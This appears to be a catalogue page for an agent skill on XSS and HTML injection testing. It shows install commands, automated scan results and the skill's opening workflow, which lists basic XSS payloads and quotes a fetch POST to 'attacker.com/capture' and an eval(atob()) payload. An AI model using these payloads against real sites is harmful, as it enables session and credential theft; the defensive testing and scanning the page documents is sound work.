Claude Code Guide is a reference collection for configuring and using Claude Code, Anthropic’s command-line coding agent. Developers use it to learn commands, skills, agents, MCP, automation, security, integrations, and troubleshooting. Its catalogue add-ons provide many of the documented skills and agents.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add zebbern/claude-code-guide --skill xss-html-injectiongit clone --depth 1 https://github.com/zebbern/claude-code-guideWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/zebbern/claude-code-guide/xss-html-injection)<a href="https://agentmods.dev/skills/zebbern/claude-code-guide/xss-html-injection"><img src="https://agentmods.dev/badge/skills/zebbern/claude-code-guide/xss-html-injection/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/zebbern/claude-code-guide/xss-html-injection"><img src="https://agentmods.dev/badge/skills/zebbern/claude-code-guide/xss-html-injection.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 6 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high YARA Match · line 3 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
- high Prompt Injection · line 64 Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.Fix: Audit all comments and invisible characters. Remove any instructions that direct the agent to perform unauthorized actions. Use plain, reviewable content.
- high Prompt Injection · line 125 Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.Fix: Audit all comments and invisible characters. Remove any instructions that direct the agent to perform unauthorized actions. Use plain, reviewable content.
- medium Data Exfiltration · line 134 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 380 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- low Excessive Agency · line 398 Skill's behavior or capabilities extend beyond its stated purpose. Scope creep allows an agent to perform actions unrelated to its documented functionality, increasing the attack surface.Fix: Limit the skill's scope to its documented purpose. Remove instructions that enable the agent to perform actions outside its stated functionality.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00082 | $0.03091 |
| Opus 5.5 | $0.00033 | $0.01236 |
| Sonnet 5.5 | $0.00016 | $0.00618 |
| Haiku 4.5 | $0.00008 | $0.00309 |
Grade B, and why
xss-html-injection scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
fetch('http://attacker.com/capture',{ method:'POST', Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Encoded or obfuscated payloadmediumSupply chain
base64 or hex that is decoded and executed hides what actually runs from anyone reading the file.
<script>eval(atob('YWxlcnQoMSk='))</script> Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
How it starts
The opening of the file, as written. The whole thing — 500 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Cross-Site Scripting and HTML Injection Testing
Purpose
Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.
Inputs / Prerequisites
Required Access
- Target web application URL with user input fields
- Burp Suite or browser developer tools for request analysis
- Access to create test accounts for stored XSS testing
- Browser with JavaScript console enabled
Technical Requirements
- Understanding of JavaScript execution in browser context
- Knowledge of HTML DOM structure and manipulation
- Familiarity with HTTP request/response headers
- Understanding of cookie attributes and session management
Legal Prerequisites
- Written authorization for security testing
- Defined scope including target domains and features
- Agreement on handling of any captured session data
- Incident response procedures established
Outputs / Deliverables
- XSS/HTMLi vulnerability report with severity classifications
- Proof-of-concept payloads demonstrating impact
- Session hijacking demonstrations (controlled environment)
- Remediation recommendations with CSP configurations
Core Workflow
Phase 1: Vulnerability Detection
Identify Input Reflection Points
Locate areas where user input is reflected in responses:
# Common injection vectors
- Search boxes and query parameters
- User profile fields (name, bio, comments)
- URL fragments and hash values
- Error messages displaying user input
- Form fields with client-side validation only
- Hidden form fields and parameters
- HTTP headers (User-Agent, Referer)
Basic Detection Testing
Insert test strings to observe application behavior:
<!-- Basic reflection test -->
<test123>
<!-- Script tag test -->
<script>alert('XSS')</script>
<!-- Event handler test -->
<img src=x onerror=alert('XSS')>
<!-- SVG-based test -->
<svg onload=alert('XSS')>
<!-- Body event test -->
<body onload=alert('XSS')>
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2mo ago First seen · 500 lines · 82 tokens per session scan B f92f9249d5e9
xss-html-injection is a skill published in the GitHub repository zebbern/claude-code-guide (4,698 stars, last pushed 3d ago), licensed MIT. It adds 82 tokens to every session and 3,091 once invoked, about $0.0003 per session on Opus 5.5. A static security scan graded it B with 2 findings (sends data to an external url, encoded or obfuscated payload). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
xss-html-injection compared with skills from other repositories
| Mod | Type | Stars | Last push | Licence | Scan | Tokens | Works with |
|---|---|---|---|---|---|---|---|
| xss-html-injectionzebbern/claude-code-guide | Skill | 4.7k | 3d ago | MIT | B | 82 | Claude Code, Codex |
| stealth-browser-mcpvibheksoni/stealth-browser-mcp | Skill | 3.3k | yesterday | MIT | A | 76 | Codex |
| octocode-chrome-devtoolsbgauryy/octocode | Skill | 957 | 2d ago | MIT | A | 87 | Codex |
| how-frago-agent-runs-an-agent-ostsaijamey/frago | Skill | 113 | yesterday | MIT | A | 171 | Claude Code, Codex |
| cdb-scanAvijit07x/claude-db | Skill | 233 | 15d ago | Apache-2.0 | A | 72 | Claude Code, Codex |
| handoffAvijit07x/claude-db | Skill | 233 | 15d ago | Apache-2.0 | A | 87 | Claude Code, Codex |
| agent-e2e-test-specialisttravisjneuman/.claude | Skill | 107 | yesterday | MIT | A | 75 | Claude Code |